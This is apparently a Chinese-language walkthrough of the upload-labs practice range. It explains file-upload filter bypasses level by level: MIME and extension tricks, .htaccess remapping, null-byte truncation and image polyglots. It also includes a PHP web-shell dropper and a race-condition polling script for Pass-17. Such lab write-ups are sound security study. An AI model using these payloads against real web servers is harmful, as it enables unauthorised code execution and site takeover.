Upload-labs(建议使用windows搭建)
下载链接:
c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场 (github.com)
docker pull c0ny1/upload-labs
docker run -d -p 80:80 c0ny1/upload-labs
如果docker搭建时出现 ../upload文件不存在
解决方法:在命令行里输入以下命令(注意权限是否足够 /root)
# 进入docker
docker exec -it $(docker ps -q) /bin/bash
# 创建upload文件夹
mkdir upload
# 将这个文件夹改为应用程序的
chown www-data:www-data upload/
# 退出
exit
Pass-01
上传php文件被拦截时,burp抓不到包,可以判断是前端拦截。
绕过方法:
- burp抓包修改
- 浏览器禁用
JS
以firefox为例:
在网址栏处输入about:config
搜索javascript.enable
将其修改为False
- 修改
JS
代码
Pass-02
绕过方法:
burp抓包修改 content-type
即可上传成功
Pass-03
根据提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!
猜测是黑名单类型,上传一个随便写的后缀试一试
发现上传成功,确实是黑名单,开始绕过。
绕过方法:
- 大写绕过--失败捏
- 重写绕过--试都不试想
.htaccess
绕过--失败,因为此关卡会重命名文件- 变形绕过--改为
php3
时上传成功且能够链接
Pass-04
绕过方法:
.htaccess
绕过
创建一个文件,随便什么名字或者后缀,内容为(文件名含有.png的文件,都被当做php解析)
AddType application/x-httpd-php .png
然后上传,用burp抓包修改文件名为.htaccess
)
最后上传hack.png
Pass-05
黑名单过滤不严格
绕过方法:
直接一个大写绕过a.PhP
,成功
Pass-06(windows)
黑名单过滤不严格
绕过方法:
考点其实是没有过滤末尾的空格,但这个只能在windows环境下复现。而且非常简单,只需要burp抓包修改即可。
Pass-07(windows)
黑名单过滤不严格
绕过方法:
考点其实是没有过滤末尾的点,但这个只能在windows环境下复现。而且非常简单,只需要burp抓包修改即可。
Pass-08(windows)
黑名单过滤不严格
绕过方法:
考点其实是没有过滤末尾的::$DATA,但这个只能在windows环境下复现。而且非常简单,只需要burp抓包修改即可。
windows环境下在后缀名后面加入::$DATA,会把之后的数据当成文件流处理,不会检测后缀名.且保持之前的文件名。
Pass-09(windows)
对违规内容的替换只做了一次而没有循环
绕过方法:
考点其实是对末尾的点和空格只过滤了一次,没有做循环,但这个只能在windows环境下复现。而且非常简单,只需要burp抓包修改即可。
Pass-10
对违规内容的替换只做了一次而没有循环
绕过方法:
过滤方式是将php替换为空,但是仅替换一次,所以重写绕过上传 pphphp ->php
Pass-11(php版本)
%00截断
绕过方法:
注意截断条件:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态
Pass-12(php版本)
00截断
绕过方法:
同样对php有版本限制
Pass-13
图片马+文件包含
绕过方法:
图片马制作方法:
# Windows
copy file1.jpg/b + file2.txt hack.jpg
# Linux
# 将file1.txt追加到file2.jpg后面的方法:
cat file1.txt >> file2.jpg
# 若要将两个文件合并成第三个文件,而不是追加,那么用命令:
cat file1.txt file2.jpg >> hack.jpg
上传成功后访问:http://xxx/
include.php?file
=upload/4220230804064537.png
发现出现乱码基本可以确定上传成功,然后蚁剑连接一下就OK了。
注意访问路径的 include.php?file=
这里是利用了文件包含漏洞。本关提示有说自带文件包含漏洞。
Pass-14
图片马(文件头修改)+文件包含
绕过方法:
本关效验上传文件的文件头(16进制)
不同文件的文件头可参考【CTF杂项】常见文件文件头文件尾格式总结及各类文件头_ctf常见文件头_iqiqiya的博客-CSDN博客
制作图片马步骤如下:
16进制打开php一句话木马。添加查询到的png文件头 89504E470d0a1a0a
如果和我一样用notepad++
修改的话,需要先下载Hexeditor
插件,并且16进制下,notepad++
只能修改不能添加和删除,所以需要先输入一些废话然后进行修改。
制作完成,之后上传链接即可。
连接方式同pass13,注意需要利用文件包含漏洞。
Pass-15
图片马(文件头修改)+文件包含
绕过方法:
同pass14
Pass-16
图片马(二次渲染绕过)+文件包含
绕过方法:
此关会对上传图片进行二次渲染再保存,意思是保存的文件和上传文件有差别。
先上传一个图片看看到底改变了哪些。
然后将一句话木马插入到没有改变的地方
然后上传。
一次没成功可以多试几次。暂时没发现有什么快速找到插入点的方式,我试了6次最后成功上传。
注意这关使用gif简单一点。png和jpg因为文件组成的原因,修改更困难,但两个都有脚本。png和jpg可参考这个博客upload-labs Pass-16(二次渲染) - 夜布多 - 博客园 (cnblogs.com)
Pass-17
条件竞争
从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。众所周知代码执行是需要时间的,所以只要我们在第一个文件被删除前访问到它,那么就可以做一些操作。
绕过方法:
首先一句话木马需要改一下:<?php fputs(fopen('shell2.php','w'),'<?php @eval($_POST["x"])?>');?>
只要我们访问到第一个文件,那么它就会创建一个叫shell2.php
的文件,文件内容为:<?php @eval($_POST["x"])?>
再准备一个python脚本,用来不断访问咱们要传上去的第一个文件:
import requests
# 这是文件上传上去的路径,记得修改一下
url = "http://32b24052-532c-4e68-8faa-16587b83ac1b.node4.buuoj.cn:81/upload/hack.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
接下来就是用burpsuite不断重放
将包发送到Intruder
模块。clear一下
然后切换到payload
,做修改两个设置:
修改一下线程,调高一点会效果好一点。
开始重放,并且启动Python脚本。出现ok就算成功。最后蚁剑链接即可。
这东西有点看运气,可能发上万都不行,也可能几十个就出来了。不过提高线程好像效果好一点。
Pass-18
条件竞争plus
绕过方法:
基本同17,但是这次第一个上传的文件是图片马,并且Python脚本的连接也需要修改为通过文件包含漏洞去访问。
其他没区别。
Pass-19
审计源码可以发现,此关只对上传文件名(save_name)进行了检查,并没有检查上传的文件。
同时使用的move_uploaded_file()
函数还有这么一个特性,会忽略掉文件末尾的 /.
绕过方法:
抬出之前的一句话木马(改不改后缀无所谓),上传抓包:
做一下修改
Pass-20
多条件绕过,源码逻辑如下:
- 检查
MIME
- 判断
POST
参数save_name
是否为空 - 判断
$file
是否为数组,不是数组以.
分隔化为数组 - 取
$file
最后一个元素作为文件后缀进行检查 - 取
$file
数组第一个元素和第$file[count($file)-1]
组成文件名保存文件
绕过方法:
抬出之前的一句话木马(后缀无所谓版),抓包进行修改:
- 修改
Content-Type
绕过MIME
检查 - 将
save_name
设置为数组,且save_name[1]
为空,这样count($file)-1 == 1
所以保存的文件名为upload-20.php.
然后蚁剑连接即可
通关撒花!!!